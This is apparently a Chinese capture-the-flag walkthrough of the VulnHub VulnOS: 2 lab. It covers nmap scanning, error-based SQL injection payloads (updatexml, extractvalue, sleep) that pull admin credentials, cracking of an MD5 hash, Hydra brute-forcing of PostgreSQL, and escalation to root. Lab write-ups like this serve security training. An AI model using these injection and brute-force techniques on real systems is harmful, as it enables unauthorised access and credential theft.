【Vulnhub通关】VulnOS: 2

727 阅读10分钟

准备工作

靶机基本信息

靶机名称:VulnOS
操作系统:Linux
虚拟机软件:VirtualBox
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机root权限并读取Flag文件
下载地址:1) VulnOS: 2 ~ VulnHub(VirtualBox)
     2) VulnOS_2.zip_免费高速下载|百度网盘-分享无限制(VMware)

注:推荐下载VMware版本。

环境配置

靶机的网络服务存在域名,必须在攻击机的/etc/hosts文件中添加如下内容:

<IP地址>    irc.example.net

信息收集

主机发现

在Kali Linux中,使用netdiscover发现目标主机:

netdiscover -r 192.168.2.0/24

可以看到网卡名称为VMware, Inc.的设备即为靶机,IP地址为192.168.2.105

ICMP检测

发现设备之后,我们通过Ping来探测目标:

ping -c 10 192.168.2.105

防火墙检测.png

说明我们可以Ping通目标主机。

防火墙探测

我们可以使用nmap-sA-sF参数进行防火墙探测。

注:Nmap进行防火墙探测时,会向目标主机的网络端口发送TCP ACK报文如果目标主机端口的回复是RST或者无回复,则目标主机大概率开启了防火墙。

nmap -sA -T4 192.168.2.105
nmap -sF -T4 192.168.2.105

如图,22806667端口的扫描结果显示为Filtered,判断目标主机极大概率有防火墙。

网络服务扫描

对靶机的防火墙探测结束后,我们进行初步的网络服务扫描。现在使用nmap探测所有TCPUDP端口:

nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.105
nmap -sU -sV -p- -oN ./udp_result.txt 192.168.2.105

服务探测

SSH服务(22端口)

SSH服务的Banner信息如下(使用nc工具获取):

SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.6

Web应用程序(80端口)

网站业务系统探查

首先使用浏览器打开网址:http://irc.example.net/

页面上没有什么关键信息,只有一条链接,点击以后直接跳转到真正的业务主页http://irc.example.net/jabc/

发现该网站有4个分支页面。依次点击它们,点击Documentation标签时,发现它跳转到的页面文本区域内看上去没有任何内容:

但是在查看源代码时发现了如下敏感信息:

<p><span style="color:#000000">For security reasons, this section is hidden.</span></p>
<p><span style="color:#000000">For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest</span></p> 
<p><span style="color:#000000">Thank you.</span></p>

说是有一个隐藏的目录/jabcd0cs,且为网站的管理系统,其中一份登录凭据为:

  • 用户名:guest
  • 密码:guest

而且发现了网站的核心是Drupal 7

尝试访问该页面(http://irc.example.net/jabcd0cs/):

非常不错。。。开局就是后台管理。。。尝试使用网页泄露的登录凭据:

成功登录后台!(可是。。低权限用户什么的不要啊喂)

网站后台系统扫描

既然已经登录后台,那么首先使用dirsearch扫描一波目录(必须指定Cookie):

dirsearch -u http://irc.example.net/jabcd0cs/ -i 200,301,302,304 --cookie="PHPSESSID: ************" 

可以看到网站有如下目录和文件:

  • /docs     =>     网站说明文档目录
  • /images    =>     网站图片目录
  • /include     =>     网站核心目录
  • /reports     =>     未知
  • /templates    =>     网站模板缓存目录
  • /uploads     =>     上传文件保存目录
  • add.php    =>     文件上传页面
  • admin.php   =>     后台管理员页面
  • config.php    =>     网站基本配置文件
  • database.sql   =>    网站SQL脚本
  • delete.php    =>    未知
  • edit.php     =>    文件信息编辑页面
  • error.php   =>    错误提示页面
  • logout.php    =>    注销登录页面
  • profile.php  =>    用户个人信息页面
  • search.php    =>    内容搜索页面
  • settings.php   =>    网站设置编辑页面
  • signup.php    =>    注册新用户页面
  • user.php     =>    未知
  • view.php     =>    未知
  • index.php   =>    网站主页,重定向至out.php

同时查看了一下网站后台的功能,Home按钮为主页,Check-in按钮未知,Search按钮为搜索,Add Document按钮为上传文件,Logout按钮为登出。该后台的主要功能就是管理并查看上传的文件

SQL数据库文件

下载database.sql文件查看:

发现里面有14张数据表,其中odm_user表中保存着网站后台用户的登录信息。

其表结构如下:

CREATE TABLE odm_user (
  id int(11) unsigned NOT NULL auto_increment,
  username varchar(25) NOT NULL default '',
  password varchar(50) NOT NULL default '',
  department int(11) unsigned default NULL,
  phone varchar(20) default NULL,
  Email varchar(50) default NULL,
  last_name varchar(255) default NULL,
  first_name varchar(255) default NULL,
  pw_reset_code char(32) default NULL,
  PRIMARY KEY  (id)
) ENGINE = MYISAM;

文件上传页面

点击Add Document按钮进入文件上传界面,选择本地的一张图片,填入信息上传,提示上传成功:

点击View查看图片:

发现图片访问成功,但是根据URL分析,该页面的逻辑似乎是先根据id将保存在数据库中的文件路径取出,再载入文件内容到页面上

查看/uploads目录,发现上传文件的文件名全部变成了以序号+.dat 为格式。推测文件上传之后,网站先向数据库查询了最后的文件ID值,随后使用move_uploaded_file()函数将文件从内存中移动到磁盘内,并将文件改名为ID值+.dat的格式。因此我们除使用文件包含漏洞之外,无法利用文件上传漏洞。

发现SQL注入漏洞

返回主页,发现信息栏中多出了我们刚才上传的图片文件一行:

点击文本为文件名的链接,进入文件信息预览页(detail.php

同时通过观察HTTP参数idstate,推测这里应该存在SQL查询,那么我们尝试在id参数的值最后追加一个英文逗号:http://192.168.2.105/jabcd0cs/details.php?id=7'&state=2

结果非常令人舒适:

看把孩子吓的,SQL查询语句都一下子爆出来了:

SELECT * FROM odm_user_perms WHERE odm_user_perms.uid = /*{用户ID}*/ AND odm_user_perms.fid = /*{文件ID}*/ AND odm_user_perms.rights>=1; 

BurpSuite,启动!

尝试使用sleep()函数(使id参数值为7+and+sleep(60)-- -,这样SQL语句就变成了如下状态):

SELECT * FROM odm_user_perms WHERE odm_user_perms.uid = 2 AND odm_user_perms.fid = 7+and+sleep(60)-- - AND odm_user_perms.rights>=1 

好啊,年轻就是好,倒头就睡(bushi


渗透测试

更换SQL注入点

验证了SQL漏洞之后,我们将id的值设置为:7+and+extractvalue(1,concat(0x7e,(select+version()),0x7e)),这样就能使用报错注入的方式注出MySQL的版本信息

可以得知MySQL的版本为5.5.47

但好景不长,接下来进行进一步注入时,发现当我的输入中存在_符号时,程序会将字符串中从下划线开始到结束的部分全部删除,且尝试了很久还是无法绕过,无奈之下只好再次寻找注入点。

很快,我就在edit.php中找到了新注入点,参数还是id

SQL语句如下:

SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = /*{用户ID}*/ and fid = /*{文件ID}*/ 

尝试加入_号,查看是否会删除该符号和后面的字符串:

GET /jabcd0cs/edit.php?id=7aaa_bbb'&state=3 HTTP/1.1
Host: irc.example.net

成功!

获取管理员账号信息

接下来获取数据库名:7+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

得知当前数据库名为:jabcd0cs

根据之前SQL数据库文件的信息,我们对odm_user表进行注入。

先获取表中的列数:7+and+updatexml(1,concat(0x7e,(select%20count(id)%20from%20odm_user),0x7e),1)

SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20count(id)%20from%20odm_user),0x7e),1) 

可以得知数据表中只有两列数据

接下来获取表中的第一个用户名信息:7+and+updatexml(1,concat(0x7e,(select%20username%20from%20odm_user%20limit%201),0x7e),1)

SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20username%20from%20odm_user%20limit%201),0x7e),1) 

嗯,第一个用户名是webmin,那剩下的那一个自然是guest了。

获取webmin用户的密码:7+and+updatexml(1,concat(0x7e,(select%20password%20from%20odm_user%20limit%201),0x7e),1)

SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20password%20from%20odm_user%20limit%201),0x7e),1) 

直接获取到了MD5值:b78aae356709f8c31118ea613980954

访问如下网站破解MD5:MD5免费在线解密破解_MD5在线加密-SOMD5

在输入框内粘贴跑出的MD5密文,点击解密按钮,很快就能获取到明文密码:

现已得知网站后台管理员的登录信息:

  • 用户名:webmin
  • 密码:webmin1980

按照惯例,尝试将上述登录信息用于SSH登录:

成功!!!


权限提升

进入系统,首先看看自己在什么目录下:

$ pwd   
/home/webmin

查看用户家目录下的文件,发现有一个名为post.tar.gz的压缩包文件

ls -lA
file post.tar.gz

尝试解压看一看:

tar -xzvf post.tar.gz

发现里面是一份Hydra暴力破解工具的源码。更可疑的是,目录下还有一份名为postgres_ext.h的文件,有可能暗示我们需要暴力破解PostgreSQL数据库

先放着不管,继续收集进程信息:

ps -aux

看看看看,发现了什么好东西ヽ(°▽°)ノ

发现了PostgreSQL进程之后,我们需要确定其监听的网络端口:

netstat -nlp

得知PostgreSQL监听的端口为5432

知道了端口号之后,我们就可以对其进行暴力破解了。

先对家目录下的Hydra源码进行编译:

cd post
./configure
make && make install

然后上传以下字典文件到靶机:

  • /usr/share/wordlists/metasploit/postgres_default_user.txt
  • /usr/share/wordlists/metasploit/postgres_default_pass.txt

随后使用刚编译的Hydra破解5432端口的PostgreSQL

./hydra -L postgres_default_user.txt -P postgres_default_pass.txt -e nsr 127.0.0.1 postgres 

可以看到用户名密码已经破解成功:

  • 用户名:postgres
  • 密码:postgres

直接登录数据库:

$ psql -h 127.0.0.1 -p 5432 -U postgres
Password for user postgres: ********
psql (9.3.11)
SSL connection (cipher: DHE-RSA-AES256-GCM-SHA384, bits: 256)
Type "help" for help.

postgres=# 

注:PostgreSQL数据库的常用命令 --
     \q           =>     断开连接
     \l           =>     查看所有数据库
     \c           =>     切换数据库
     \d           =>     查看数据库信息
     \d <table_name>     =>     查看表信息
     \db         =>     查看表空间信息

查看所有数据库:

在依次查看数据库内容时,发现system数据库内有如下敏感信息:

\c system
\dt system
SELECT * FROM users;

得知靶机其它用户的登录信息:

  • 用户名:vulnosadmin
  • 密码:c4nuh4ckm3tw1c3

直接登录:

成功!!

查看该用户家目录下文件,只发现一个名为r00t.blend的文件:

百度了一下,发现是3D建模文件,需要用Blender软件打开。

将其下载到本地,使用建模软件打开之后,在建模内的白色正方体中发现了root用户密码信息(已将文本框拖出):

  • 用户名;root
  • 密码:ab12fg//drg

直接尝试登录:

提权成功!!!


Flag信息公示

文件名:flag.txt
文件大小:165 B
MD5:aefc1df838f6fcdeb8eb16c32ce222a9
SHA256:411935fe4f67a98718cb8c917a146946bca0c57a1c27e9bf0c080db1057efce8

文件内容:

Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?


本次靶机渗透到此结束